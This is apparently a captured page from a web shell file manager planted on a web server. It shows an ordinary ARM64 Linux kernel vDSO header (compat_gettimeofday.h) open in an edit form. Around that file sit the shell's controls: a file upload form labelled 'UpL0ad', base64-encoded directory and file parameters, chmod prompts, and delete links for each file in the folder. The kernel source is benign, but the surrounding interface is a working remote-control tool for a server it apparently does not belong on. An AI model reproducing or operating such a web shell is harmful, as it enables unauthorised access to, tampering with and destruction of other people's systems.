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<hr>compat_gettimeofday.h<form method=post action="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Y29tcGF0X2dldHRpbWVvZmRheS5o"><input name="f" value="compat_gettimeofday.h"><textarea name="t">/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright (C) 2018 ARM Limited
 */
#ifndef __ASM_VDSO_GETTIMEOFDAY_H
#define __ASM_VDSO_GETTIMEOFDAY_H

#ifndef __ASSEMBLY__

#include &lt;asm/barrier.h&gt;
#include &lt;asm/unistd.h&gt;
#include &lt;asm/errno.h&gt;

#include &lt;asm/vdso/compat_barrier.h&gt;

#define VDSO_HAS_CLOCK_GETRES		1

#define BUILD_VDSO32			1

static __always_inline
int gettimeofday_fallback(struct __kernel_old_timeval *_tv,
			  struct timezone *_tz)
{
	register struct timezone *tz asm(&quot;r1&quot;) = _tz;
	register struct __kernel_old_timeval *tv asm(&quot;r0&quot;) = _tv;
	register long ret asm (&quot;r0&quot;);
	register long nr asm(&quot;r7&quot;) = __NR_compat_gettimeofday;

	asm volatile(
	&quot;	swi #0\n&quot;
	: &quot;=r&quot; (ret)
	: &quot;r&quot; (tv), &quot;r&quot; (tz), &quot;r&quot; (nr)
	: &quot;memory&quot;);

	return ret;
}

static __always_inline
long clock_gettime_fallback(clockid_t _clkid, struct __kernel_timespec *_ts)
{
	register struct __kernel_timespec *ts asm(&quot;r1&quot;) = _ts;
	register clockid_t clkid asm(&quot;r0&quot;) = _clkid;
	register long ret asm (&quot;r0&quot;);
	register long nr asm(&quot;r7&quot;) = __NR_compat_clock_gettime64;

	asm volatile(
	&quot;	swi #0\n&quot;
	: &quot;=r&quot; (ret)
	: &quot;r&quot; (clkid), &quot;r&quot; (ts), &quot;r&quot; (nr)
	: &quot;memory&quot;);

	return ret;
}

static __always_inline
long clock_gettime32_fallback(clockid_t _clkid, struct old_timespec32 *_ts)
{
	register struct old_timespec32 *ts asm(&quot;r1&quot;) = _ts;
	register clockid_t clkid asm(&quot;r0&quot;) = _clkid;
	register long ret asm (&quot;r0&quot;);
	register long nr asm(&quot;r7&quot;) = __NR_compat_clock_gettime;

	asm volatile(
	&quot;	swi #0\n&quot;
	: &quot;=r&quot; (ret)
	: &quot;r&quot; (clkid), &quot;r&quot; (ts), &quot;r&quot; (nr)
	: &quot;memory&quot;);

	return ret;
}

static __always_inline
int clock_getres_fallback(clockid_t _clkid, struct __kernel_timespec *_ts)
{
	register struct __kernel_timespec *ts asm(&quot;r1&quot;) = _ts;
	register clockid_t clkid asm(&quot;r0&quot;) = _clkid;
	register long ret asm (&quot;r0&quot;);
	register long nr asm(&quot;r7&quot;) = __NR_compat_clock_getres_time64;

	asm volatile(
	&quot;       swi #0\n&quot;
	: &quot;=r&quot; (ret)
	: &quot;r&quot; (clkid), &quot;r&quot; (ts), &quot;r&quot; (nr)
	: &quot;memory&quot;);

	return ret;
}

static __always_inline
int clock_getres32_fallback(clockid_t _clkid, struct old_timespec32 *_ts)
{
	register struct old_timespec32 *ts asm(&quot;r1&quot;) = _ts;
	register clockid_t clkid asm(&quot;r0&quot;) = _clkid;
	register long ret asm (&quot;r0&quot;);
	register long nr asm(&quot;r7&quot;) = __NR_compat_clock_getres;

	asm volatile(
	&quot;       swi #0\n&quot;
	: &quot;=r&quot; (ret)
	: &quot;r&quot; (clkid), &quot;r&quot; (ts), &quot;r&quot; (nr)
	: &quot;memory&quot;);

	return ret;
}

static __always_inline u64 __arch_get_hw_counter(s32 clock_mode,
						 const struct vdso_data *vd)
{
	u64 res;

	/*
	 * Core checks for mode already, so this raced against a concurrent
	 * update. Return something. Core will do another round and then
	 * see the mode change and fallback to the syscall.
	 */
	if (clock_mode != VDSO_CLOCKMODE_ARCHTIMER)
		return 0;

	/*
	 * This isb() is required to prevent that the counter value
	 * is speculated.
	 */
	isb();
	asm volatile(&quot;mrrc p15, 1, %Q0, %R0, c14&quot; : &quot;=r&quot; (res));
	/*
	 * This isb() is required to prevent that the seq lock is
	 * speculated.
	 */
	isb();

	return res;
}

static __always_inline const struct vdso_data *__arch_get_vdso_data(void)
{
	const struct vdso_data *ret;

	/*
	 * This simply puts &amp;_vdso_data into ret. The reason why we don't use
	 * `ret = _vdso_data` is that the compiler tends to optimise this in a
	 * very suboptimal way: instead of keeping &amp;_vdso_data in a register,
	 * it goes through a relocation almost every time _vdso_data must be
	 * accessed (even in subfunctions). This is both time and space
	 * consuming: each relocation uses a word in the code section, and it
	 * has to be loaded at runtime.
	 *
	 * This trick hides the assignment from the compiler. Since it cannot
	 * track where the pointer comes from, it will only use one relocation
	 * where __arch_get_vdso_data() is called, and then keep the result in
	 * a register.
	 */
	asm volatile(&quot;mov %0, %1&quot; : &quot;=r&quot;(ret) : &quot;r&quot;(_vdso_data));

	return ret;
}

#ifdef CONFIG_TIME_NS
static __always_inline
const struct vdso_data *__arch_get_timens_vdso_data(const struct vdso_data *vd)
{
	const struct vdso_data *ret;

	/* See __arch_get_vdso_data(). */
	asm volatile(&quot;mov %0, %1&quot; : &quot;=r&quot;(ret) : &quot;r&quot;(_timens_data));

	return ret;
}
#endif

static inline bool vdso_clocksource_ok(const struct vdso_data *vd)
{
	return vd-&gt;clock_mode == VDSO_CLOCKMODE_ARCHTIMER;
}
#define vdso_clocksource_ok	vdso_clocksource_ok

#endif /* !__ASSEMBLY__ */

#endif /* __ASM_VDSO_GETTIMEOFDAY_H */
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/src/linux-headers-6.8.0-124/arch/arm64/include/asm/vdso<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&x=Y2xvY2tzb3VyY2UuaA==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Y2xvY2tzb3VyY2UuaA=="/>clocksource.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Y2xvY2tzb3VyY2UuaA==&c=`+btoa(c):0" value="0644"></td><td>316</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&x=Y29tcGF0X2JhcnJpZXIuaA==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Y29tcGF0X2JhcnJpZXIuaA=="/>compat_barrier.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Y29tcGF0X2JhcnJpZXIuaA==&c=`+btoa(c):0" value="0644"></td><td>766</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&x=Y29tcGF0X2dldHRpbWVvZmRheS5o">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Y29tcGF0X2dldHRpbWVvZmRheS5o"/>compat_gettimeofday.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Y29tcGF0X2dldHRpbWVvZmRheS5o&c=`+btoa(c):0" value="0644"></td><td>4393</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&x=Z2V0dGltZW9mZGF5Lmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Z2V0dGltZW9mZGF5Lmg="/>gettimeofday.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=Z2V0dGltZW9mZGF5Lmg=&c=`+btoa(c):0" value="0644"></td><td>2588</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&x=cHJvY2Vzc29yLmg=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=cHJvY2Vzc29yLmg="/>processor.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=cHJvY2Vzc29yLmg=&c=`+btoa(c):0" value="0644"></td><td>307</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&x=dnN5c2NhbGwuaA==">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=dnN5c2NhbGwuaA=="/>vsyscall.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvYXJjaC9hcm02NC9pbmNsdWRlL2FzbS92ZHNv&f=dnN5c2NhbGwuaA==&c=`+btoa(c):0" value="0644"></td><td>935</td></tr></table>